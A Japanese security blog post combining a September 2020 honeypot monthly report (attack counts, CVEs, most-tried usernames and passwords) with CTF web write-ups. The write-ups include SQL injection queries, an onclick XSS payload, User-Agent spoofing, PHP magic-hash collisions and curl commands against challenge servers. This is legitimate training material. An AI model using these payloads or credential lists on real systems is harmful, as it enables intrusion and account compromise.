ハニーポット運用(月次報告:2020年9月)
今月のTopics
2020年9月はキャッシュレス決済における重大なセキュリティインシデントが発生した。 NTTドコモの電子マネー決済サービス「ドコモ口座」の不正利用が明らかになり 被害件数、被害規模は9月27日時点で全国11の銀行で合計219件、被害額は2,848万円にまでのぼった。
またゆうちょ銀行においても「ドコモ口座」など、連携している電子決済サービスのほか、 銀行が発行するデビット・プリペイドカードの「mijica」でも不正な貯金の引き出しが発生した。 2017年7月から9月22日までの間におよそ380件、金額にしておよそ6000万円にのぼっている。
被害金額の保障を含めたインシデント対応のコストを考えた場合、セキュリティ対策用の予算を 確保することが無駄ではないと、再認識させられるだろう。
今月のChangelog
2020/09/04
・T-Pot 20.06.1のリリース
・Elastic Stack 7.9.1へのアップデート
・docker imagesの再構築
・古くなったreferencesやリンクの削除
前提条件
運用日時:2020年09月01日-2020年09月30日
運用期間:30日
運用結果
①各ハニーポットで検知したAttack件数
- T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No | ハニーポット | 件数 | 先月比 |
---|---|---|---|
1 | Dionaea | 5354269 | △748,759 |
2 | Cowrie | 3944126 | △16,829 |
3 | Honeytrap | 466006 | △199,087 |
4 | Heralding | 278798 | △49,283 |
5 | Rdpy | 147490 | △89,382 |
6 | Mailoney | 48943 | ▲39,501 |
7 | Adbhoney | 4998 | △1,193 |
8 | Tanner | 3975 | ▲443 |
9 | Ciscoasa | 3372 | △1,627 |
10 | CitrixHoneypot | 1006 | △221 |
11 | ElasticPot | 557 | ▲56 |
12 | ConPot | 64 | ▲132 |
13 | Medpot | 3 | ▲5 |
- Result
- Mailoneyの件数が先月より減少。
②攻撃元の国名と件数(Top 20)
- 各ハニーポットへの攻撃元の国名の総件数を以下に記載する。
No | 攻撃元の国名 | 件数 | 先月順位 |
---|---|---|---|
1 | Ireland | 1,717,148 | 1(→) |
2 | Vietnam | 930,133 | 3(↑) |
3 | Russia | 927,028 | 2(↓) |
4 | China | 566,515 | 4(→) |
5 | India | 498,619 | 7(↑) |
6 | United States | 458,301 | 5(↓) |
7 | Panama | 445,621 | 6(↓) |
8 | Brazil | 327,419 | 8(→) |
9 | Indonesia | 292,408 | 9(→) |
10 | Netherlands | 263,058 | 18(↑) |
11 | Germany | 242,825 | 11(→) |
12 | Japan | 239,427 | 12(→) |
13 | Venezuela | 229,258 | 10(↓) |
14 | Republic of Moldova | 216,311 | 16(↑) |
15 | France | 205,947 | 圏外(↑) |
16 | Turkey | 204,922 | 13(↓) |
17 | Taiwan | 165,389 | 15(↓) |
18 | Thailand | 149,033 | 17(↓) |
19 | Ukraine | 142,056 | 14(↓) |
20 | Egypt | 113,973 | 19(↓) |
- Result
- アクセス数の多い国の動向について先月より変更なし。
③検知したCVEの脆弱性と件数
- Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No | CVE ID | CNT |
---|---|---|
1 | CVE-2020-11899 | 55,549 |
2 | CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 | 967 |
3 | CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 | 34 |
4 | CVE-2020-8515 CVE-2020-8515 | 11 |
5 | CVE-2020-11910 | 9 |
6 | CVE-2017-6316 CVE-2017-6316 | 4 |
参考URL
④よく攻撃されるユーザ名
- ユーザ名でよく攻撃されるキーワード(Top 20)で記載する。
No | ユーザ名 | 件数 |
---|---|---|
1 | root | 316,357 |
2 | admin | 69,067 |
3 | sa | 45,749 |
4 | support | 19,509 |
5 | guest | 19,067 |
6 | user | 13,762 |
7 | ubnt | 7,470 |
8 | nproc | 5,176 |
9 | test | 4,939 |
10 | Admin | 3,149 |
11 | postgres | 2,260 |
12 | 22 | 1,753 |
13 | ubuntu | 1,544 |
14 | oracle | 1,326 |
15 | git | 907 |
16 | www | 644 |
17 | ftpuser | 606 |
18 | mysql | 520 |
19 | deploy | 447 |
20 | nagios | 440 |
- Result
- 先月から変更なし
⑤よく攻撃されるパスワード
- パスワードでよく攻撃されるキーワード(Top 20)を以下に記載する。
No | パスワード | 件数 |
---|---|---|
1 | admin | 232,134 |
2 | & | 27,226 |
3 | root | 20,703 |
4 | support | 19,364 |
5 | user | 11,964 |
6 | 10,587 | |
7 | guest | 10,305 |
8 | ubnt | 7,856 |
9 | 123456 | 6,136 |
10 | password | 6,035 |
11 | nproc | 5,176 |
12 | 12345678 | 3,745 |
13 | test | 3,568 |
14 | Admin | 2,964 |
15 | 1234 | 2,944 |
16 | 123 | 2,120 |
17 | 12345 | 1,715 |
18 | Password | 1,138 |
19 | 1 | 904 |
20 | 1q2w3e4r | 849 |
- Result
8月に観測された不思議なパスワード
aqweasdfgfdgfdh
が圏外だが9月も観測されていた。
内訳としてはMicrosoft-SQL-Server向けの1433ポートに対するアクセスであり定期的に中国、インドネシア、北朝鮮などから受けている。意味のある文字列には見えないため、exploitツールに仕込まれた文字だろうか?
- 同じことを疑問に思われた方がいたようだ。
twitter.com
最後に
- 2020年9月の日本国内からSatoriマルウェアによりアクセスされた回数は2件だけだった。
- 10/10 15時からのSECCON2020に筆者も参加予定。1問だけでも解答を目指す。(ง •̀_•́)ง‼
b01lers CTF bootcamp - Writeup (web : Where's Tron?)
Web
Where's Tron?
We've lost Tron on the grid, find him using this uplink! http://chal.ctf.b01lers.com:3004 server.pySize: 1.10 KB MD5: 80b2f70baf1f8706a5eaf2cd86fe624b
添付ファイルのソースより、mysqlのDBにPOSTリクエストのクエリを投げて
該当するレコードがあれば表示する作りになっている。
◆ソースファイル
#!/usr/bin/env python3 from flask import Flask, render_template, request import MySQLdb app = Flask(__name__) def query(query): db = MySQLdb.connect(host='localhost', user='selection_program', passwd='designation2-503', db='grid') cursor = db.cursor() try: cursor.execute(query + " LIMIT 20;") results = cursor.fetchall() cursor.close() db.close() return results except MySQLdb.ProgrammingError as e: print(e) return 1 except MySQLdb.OperationalError as e: print(e) return 2 @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': query_str = request.form['query'] results = query(query_str) if results == 1: return render_template('index.html', error="Syntax error in query."), 500 elif results == 2: return render_template('index.html', error="MySQLdb.OperationalError."), 500 else: results = None return render_template('index.html', results=results) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
POST処理で受け取ったqueryに対して何も対策をしていないのでSQLインジェクションを狙うことができる。
色々調べると以下の情報がわかる。
Database : grid Table : program Column : id/location/name/statusの4つ 登録されているデータが1万件以上あるので、正規表現を使って検索した。 (select name,id,location from programs where name regexp '^Tron') →Tron-JA-307020 1980 flag{I_fight_for_the_users_and_yori}
flag{I_fight_for_the_users_and_yori}
b01lers CTF bootcamp - Writeup (web : First Day Inspection)
Web
First Day Inspection
It's your first day working at ENCOM, but they're asking you to figure things out yourself. What an onboarding process... take a look around and see what you can find. http://chal.ctf.b01lers.com:3005 Author:@MDirt
指定されたURLへアクセスする。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3005/ <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>ENCOM</title> <meta name="description" content="The HTML5 Herald"> <meta name="author" content="SitePoint"> <link rel="stylesheet" href="css/styles.css"> <link rel="icon" href="img/favicon.png"> <script type="text/javascript" src="js/script.js"></script> </head> <!-- (1/5): flag{ --> <body> <div class="container"> <img id="logo" src="img/encom.png"> </div> <h1>WELCOME EMPLOYEE</h1> <h1>ASSEMBLE THE KEY</h1> </body> </html>
ソースファイルに1/5つ目のflag(1/5): flag{
が記載されている。
同様にして、開発者ツールのconsole.logに2つ目のflag(2/5): w3lc
が記載されている。
styles.cssに3つ目のflag(3/5): 0m3_
が記載されている。
script.jsに4つ目のflag(4/5): t0_E
が記載されている。
localstrorageに5つ目のflagが記載されている。に5つ目のflag(5/5) NC0M}
が記載されている。
flag{w3lc0m3_t0_ENC0M}}
b01lers CTF bootcamp - Writeup (web : Reindeer Flotilla)
Web
Reindeer Flotilla
It's time to enter the Grid. Figure out a way to pop an alert() to get your flag. http://chal.ctf.b01lers.com:3006 Author: @MDirt
指定されたURLへアクセスする。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3006/ <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>ENCOM Input</title> <meta name="description" content="XSS"> <meta name="author" content="Kevin Flynn"> <link rel="icon" href="img/favicon.png"> <link rel="stylesheet" href="css/styles.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script type="text/javascript" src="js/script.js"></script> </head> <body> <div> <ul id=messages> </ul> </div> <input type=text id="chat"> <div id="result"></div> <img id="logo" src="img/encomlogotransparent.png"> </body> </html>
入力欄のある画面が表示され、適当な文字を入力すると入力された文字列が表示される。
問題文からXSSを発火させればflagが得られそうだがscriptタグが入力できない。
script句を使わずに、DOM型で確認する。 入力欄に以下を入力する。
<i onclick=alert('XSS')>aaa
aaaをクリックすると発火されてflagが表示される。
flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}
b01lers CTF bootcamp - Writeup (web : Programs Only)
Web
Programs Only!
You don't have to be lonely at Programs Only dot com http://chal.ctf.b01lers.com:3003
指定されたURLへアクセスする。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3003/ <!DOCTYPE html> <html lang="en"> <head> <title>Welcome.</title> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="stylesheet" href="/static/css/tron.css" /> <link rel="stylesheet" href="/static/css/style.css" /> </head> <body style="background-color: black"> <div id="main-wrapper"> <div class="content-page"> <div> <h1>Welcome 'curl/7.68.0' to The Grid.</h1> </div> </div> <div class="horizontal_wrapper"> <div> <a href="/tron_city"> <h2>Tron City</h2> <img src="/static/img/tron_city.jpg" alt="tron city" /> </a> </div> <div> <a href="/sea_of_simulation"> <h2>Sea of Simulation</h2> <img src="/static/img/SeaofSim01.webp" alt="sea_of_simulation" /> </a> </div> </div> <div class="horizontal_wrapper"> <div> <a href="/disc_arena"> <h2>Disc Arena</h2> <img src="/static/img/disc_war.png" alt="disc arena" /> <!-- from: https://www.deviantart.com/thepr0crastin80r/art/Tron-Legacy-SFM-Disc-Battle-737958125&psig=AOvVaw3jD_KhH4MDPoqSCBxj_OVH&ust=1600969105064000&source=images&cd=vfe&ved=0CA0QjhxqFwoTCMjv3_Lo_-sCFQAAAAAdAAAAABAD --> </a> </div> <div> <a href="/0001001_club"> <h2>0001001 Club</h2> <img src="/static/img/0001001_Club.webp" alt="0001001 Club" /> </a> </div> </div> <div class="horizontal_wrapper"> <div> <a href="/portal"> <h2>Portal</h2> <img src="/static/img/portal.webp" alt="portal" /> </a> </div> <!-- <div> <a href="/program"> <h2>Program's Only</h2> <img src="/static/img/programs_only.jpg" alt="00101010" /> </a> </div> --> </div> </div> </body> </html>
アクセスしたクライアントのUser-Agentを動的に表示している。
robots.txtを確認すると以下の記載がある。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3003/robots.txt User-agent: * Disallow: / User-agent: Program Allow: /program/ User-agent: Master Control Program 0000 Allow: /program/control
robots.txtに記載されたUser-AgentとURLへアクセスするとflagが含まれたサイトが表示される。
kali@kali:~/Desktop$ curl -H "User-Agent: Master Control Program 0000" http://chal.ctf.b01lers.com:3003/program/control <!DOCTYPE html> <html> <head> <title>Master Control.</title> <link rel="stylesheet" href="/static/css/tron.css" /> <link rel="stylesheet" href="/static/css/style.css" /> </head> <body> <div id="main-wrapper"> <div class="content-page"> <div> <h1>Master Control.</h1> </div> <div> <p>flag{who_programmed_you?} </p> </div> </div> </div> </body> </html>
flag{who_programmed_you?}
b01lers CTF bootcamp - Writeup (web : Find That Data!)
土, 03 10月 2020, 13:00 UTC — 月, 05 10月 2020, 00:00 UTCに開催されたb01lers CTF bootcampにチームで参加した。 相変わらず簡単な問題しか解けないのでもっと頑張りたい。自分が解いた問題のWriteupを記載する。
Web
Find That Data!
Complete what Clu could not... Find the data in memory. https://www.youtube.com/watch?v=PQwKV7lCzEI http://chal.ctf.b01lers.com:3001
ソースファイルより、username == "CLU" && password == "0222"で
ログインすると/maze配下へ遷移する。maze.jsの中身を確認する。
// Maze creation from http://logicalmoon.com/2015/06/creating-a-maze-using-javascript/ var maxCols = 36; var maxRows = 44; function CreateGrid() { var innerHTMLString = ""; innerHTMLString = "<table>"; for (var theRow = 0; theRow <= maxRows; theRow++) { innerHTMLString += "<tr>"; for (var theCol = 0; theCol <= maxCols; theCol++) { innerHTMLString += '<td id="r'; innerHTMLString += theRow; innerHTMLString += "c"; innerHTMLString += theCol; innerHTMLString += '"></td>'; } innerHTMLString += "</tr>"; } innerHTMLString += "</table>"; document.getElementById("maze-grid").innerHTML = innerHTMLString; } function RemoveWall(row, col) { var cell = "r" + row + "c" + col; // A north wall would cause a gap to be created so just remove easterly wall. if (row === maxRows && col == 1) return; if (row === 1) { if (col === maxCols) return; document.getElementById(cell).style.borderRightStyle = "hidden"; } else if (col === maxCols) { document.getElementById(cell).style.borderTopStyle = "hidden"; } else { if (Math.random() >= 0.5) { document.getElementById(cell).style.borderTopStyle = "hidden"; } else { document.getElementById(cell).style.borderRightStyle = "hidden"; } } } function Token() { $.get("/token", function(data, status) { $("#token").html(data); }); } function CreateMaze() { for (var theRow = 1; theRow <= maxRows; theRow++) { for (var theCol = 1; theCol <= maxCols; theCol++) { RemoveWall(theRow, theCol); } } } function CreateAll() { Token(); CreateGrid(); add_x(); add_o(); CreateMaze(); } window.addEventListener("load", function() { CreateAll(); setInterval(CreateAll, 1000); }); // CLU \\ let x = maxCols, y = 1; function get_cell(column, row) { if (column === 0 || column > maxCols || row === 0 || row > maxRows) return null; return document.getElementById("r" + row + "c" + column); } function remove_x() { get_cell(x, y).innerHTML = ""; } function add_x() { get_cell(x, y).innerHTML = '<img src="/static/img/clu_head.jpg" class="x" width="20px" height="20px" />'; } function add_o() { get_cell(1, maxRows).innerHTML = '<p class="o">O</p>'; } function check_data() { if (x === 1 && y === maxRows) { $.post("/mem", { token: $("#token").html() }).done(function(data) { alert("Memory: " + data); }); } } function move_up() { let cell = get_cell(x, y); if (cell == null) return; if (y == 1 || cell.style.borderTopStyle != "hidden") return; remove_x(); y -= 1; add_x(); check_data(); } function move_down() { let cell = get_cell(x, y + 1); if (cell == null) return; if (y == maxRows || cell.style.borderTopStyle != "hidden") return; remove_x(); y += 1; add_x(); check_data(); } function move_right() { let cell = get_cell(x, y); if (cell == null) return; if (x == maxCols || cell.style.borderRightStyle != "hidden") return; remove_x(); x += 1; add_x(); check_data(); } function move_left() { let cell = get_cell(x - 1, y); if (cell == null) return; if (x == 1 || cell.style.borderRightStyle != "hidden") return; remove_x(); x -= 1; add_x(); check_data(); }
・MaxColとMaxRowが最大列と最大行を指定している。
・x,yが人形の座標を示しており、ゴール(0の位置)に到着するとflagが取得できる。
・CreateAll関数でToken作成→列と行の数を指定→人形とゴールを設定→迷路作成の順で動いている。
F12をクリックして開発者ツールを起動し、以下の順で解く。
①24行目にbreakポイントを設定
②Consoleで以下を入力する。
maxRows=2 x=1 y=2 check_data()
flag{you_aren't_making_me_talk!}
解きたかった問題
・EnFlaskCom (Web)
・Derezzy (Web)
・Next Gen Networking (Web)
感想
・EnFlaskComのPickleの脆弱性は今後解けるように復習するぜ(ง •̀_•́)ง‼
DarkCTF - Writeup
金, 25 9月 2020, 03:00 UTC — 日, 27 9月 2020, 03:00 UTCに開催されたDarkCTF に個人で参加した。 チームが他のCTF大会に参加していたため、当該大会の問題に挑戦しながら気晴らしに取り組んだ。 簡単な問題しか解けてないが、以下にWriteupを記載する。
Web
Web/Source
Mr.Ghost Don't know source is helpful or not !! http://web.darkarmy.xyz
添付されたソースファイルを確認する。
<html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <?php $web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ohhhhh!!! Very Close </p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Nice!!! Near But Far</p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ahhhhh!!! Try Not Easy</p></div>'); } ?> </center> <!-- Source is helpful --> </body> </html>
以下の箇所よりUser-Agentに4文字未満の数字で10000以上の数をセットすればflagが表示される。
$web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>');
指数表現を使ってUser-Agentに値を設定するとflagが表示される。
kali@kali:~/Desktop$ curl -A "1e9" http://web.darkarmy.xyz/ <html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{changeing_http_user_agent_is_easy}</p></div></center> <!-- Source is helpful --> </body> </html>
darkCTF{changeing_http_user_agent_is_easy}
Web/Apache Logs
cyb3rz0n3 Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs. flag format: DarkCTF{}
添付のApache HTTP Serverのログを確認する。
SQLインジェクションで攻撃を受けたログが記載されている。
(ログをみていると作問にOWASPのmutillidaeを使用していることが分かる。)
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
上記の部分のURLエンコードを解読→10進数を文字に変更するとflagが表示される。
DarkCTF{5ql_1nj3ct10n}
Web/Simple_SQL
Mr.Ghost Try to find username and password [Link](http://simplesql.darkarmy.xyz/)
指定されたURLへアクセスすると<!-- Try id as parameter -->
のヒントがある。
kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/ <!DOCTYPE html> <html> <head> <title>Simple SQL</title> <style> </style> </head> <body bgcolor=black> <center><font color=red class=title>Welcome Players To My Safe House </font></center> <br> <br><!-- Try id as parameter --> </body> </html>
?id=0で順にアクセスするとメッセージが表示される。
?id=9でflagが表示される。
kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/?id=9 <!DOCTYPE html> <html> <head> <title>Simple SQL</title> <style> </style> </head> <body bgcolor=black> <center><font color=red class=title>Welcome Players To My Safe House </font></center> <br> <font size="5" color="green">Username : flag Password : darkCTF{it_is_very_easy_to_find}<br></font> </body>
darkCTF{it_is_very_easy_to_find}
Web/So_Simple
Mr.Ghost "Try Harder" may be You get flag manually Try id as parameter http://web.darkarmy.xyz:30001
問題文からidパラメータを指定してGET処理を投げるとUserとPasswordが表示される。
http://web.darkarmy.xyz:30001/?id=1
kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=1 <!DOCTYPE html> <head> <title>WEB!!!</title> </head> <body> <font color=red>Welcome Players To My Safe House <br> <font size="3"> <center> <img src="hacker.png" width="200" height="200" /> </center> <font size='5' color= '#05ff1a'>Your Login name:LOL<br>Your Password:Try </font></font> </div> </body> </html>
idパラメータにSQLインジェクションの脆弱性があり、調べるとidパラメータの56465219にflagが記載されている。
kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=56465219 <!DOCTYPE html> <head> <title>WEB!!!</title> </head> <body> <font color=red>Welcome Players To My Safe House <br> <font size="3"> <center> <img src="hacker.png" width="200" height="200" /> </center> <font size='5' color= '#05ff1a'>Your Login name:flag<br>Your Password:darkCTF{uniqu3_ide4_t0_find_fl4g}</font></font> </div> </body> </html>
Web/PHP İnformation
SaltanatNaibi Let's test your php knowledge. Flag Format: DarkCTF{} http://php.darkarmy.xyz:7001
指定したURLへアクセスすると以下のPHPソースが表示される。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Corona Web</title> </head> <body> <style> body{ background-color: whitesmoke } </style> <?php include "flag.php"; echo show_source("index.php"); if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; } } if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>"; } if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>"; } if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>"; } } if (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1></br>"; } ?> </body> </html>
1つ目のflag:?darkctf=2020を指定する。
2つ目のflag:User-Agentに"MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ=="をデコードしたものを指定する。
kali@kali:~/Desktop$ echo -n "MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==" | base64 -d 2020_the_best_year_coronak
3つ目のflag:?ctf2020=ZGFya2N0Zi0yMDIwLXdlYg==をbase64エンコードした値
kali@kali:~/Desktop$ echo -n "ZGFya2N0Zi0yMDIwLXdlYg==" | base64 WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09
4つ目のflag:?karmaと?2020に値としては異なるが、md5ハッシュ化した際に緩やかな比較で一致する値を指定する。
Googleで調べると緩やかな一致にて0eで始まる値は0として扱われるためイコールになる。
?karma=240610708、?2020=QNKCDZOとした場合、以下は一致する。
md5('240610708') → 0e462097431906509019562988736854
md5('QNKCDZO') → 0e830400451993494058024219903391
従って以下URLへアクセスするとflagが表示される。
kali@kali:~/Desktop$ curl -A "2020_the_best_year_corona" "http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=240610708&2020=QNKCDZO" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Corona Web</title> </head> <body> <style> body{ background-color: whitesmoke } </style> <中略> Flag : DarkCTF{</h1></br><h1 style='color: chartreuse;'>Flag : very_</h1></br><h1 style='color: chartreuse;'>Flag : nice</h1></br><h1 style='color: chartreuse;'>Flag : _web_challenge_dark_ctf}</h1></br></body> </html>
DarkCTF{very_nice_web_challenge_dark_ctf}
解きたかった問題
・Web/Agent-U (Web)
・Web/Dusty Notes (Web)
・Web/Chain Race (Web)
・Web/File Reader (Web)
・Web/Safe House (Web)
感想
・忙しくて色々なことが滞りがち。10月はCodeblue2020とSECCON 2020があるので挑戦したい。